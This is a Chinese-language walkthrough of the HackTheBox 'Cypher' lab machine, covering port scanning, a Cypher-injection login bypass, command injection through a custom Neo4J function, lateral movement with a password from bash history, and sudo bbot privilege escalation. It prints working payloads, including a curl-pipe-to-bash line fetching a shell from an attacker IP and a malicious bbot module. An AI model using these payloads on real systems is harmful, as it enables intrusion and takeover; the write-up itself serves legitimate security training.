HTB Cypher渗透测试实战 - 从Cypher注入到Root权限获取

本文详细记录了HackTheBox中Cypher靶机的完整渗透过程,包括端口扫描、Cypher查询语言注入绕过登录、Neo4J自定义函数逆向分析、命令注入漏洞利用、横向移动和通过BBOT工具的两种权限提升方法。

端口扫描与侦察

Nmap扫描显示目标开放SSH(22)和HTTP(80)端口:

1
2
nmap -p- --min-rate 10000 10.10.11.57
nmap -p 22,80 -sCV 10.10.11.57

网站重定向到cypher.htb,需将其添加到hosts文件。

网站分析

网站为Graph ASM应用,使用Neo4J图数据库。Feroxbuster目录扫描发现:

  • /login - 登录页面
  • /api/auth - 认证端点(405方法错误)
  • /testing/ - 目录遍历,包含JAR文件

JAR文件逆向分析

下载custom-apoc-extension-1.0-SNAPSHOT.jar,使用jadx-gui分析发现CustomFunctions类中的getUrlStatusCode函数存在命令注入漏洞:

1
2
String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
Process process = Runtime.getRuntime().exec(command);

Cypher注入绕过登录

登录查询存在SQL注入式漏洞:

1
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{input}' return h.value as hash

使用注入payload绕过认证:

1
' OR true return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash;//

命令注入利用

认证后网站提供图形查询功能,其中"HTTP Statuses"查询使用漏洞函数:

1
MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode

直接调用漏洞函数实现RCE:

1
CALL custom.getUrlStatusCode("localhost; id") YIELD statusCode

获取反向shell:

1
CALL custom.getUrlStatusCode("cypher.htb; curl 10.10.14.6/shell | bash; ") YIELD statusCode Return statusCode

横向移动

在neo4j用户的.bash_history中发现密码:

1
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

该密码可用于切换到graphasm用户。

权限提升

graphasm用户可无密码以root权限运行bbot工具:

方法一:文件读取

1
sudo bbot -w /root/root.txt -d

方法二:自定义模块执行

创建配置文件0xdf.yml

1
2
3
4
modules:
  - ExploitModule
module_dirs:
  - /dev/shm/

创建恶意模块ExploitModule.py

1
2
import os
os.system("bash")

执行获取root shell:

1
sudo bbot -p ./0xdf.yml

额外发现

  • 存在未授权访问的/api/cypher端点
  • 网站采用Docker容器架构,前端nginx反向代理到后端FastAPI应用
  • 详细的网络服务器配置分析
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计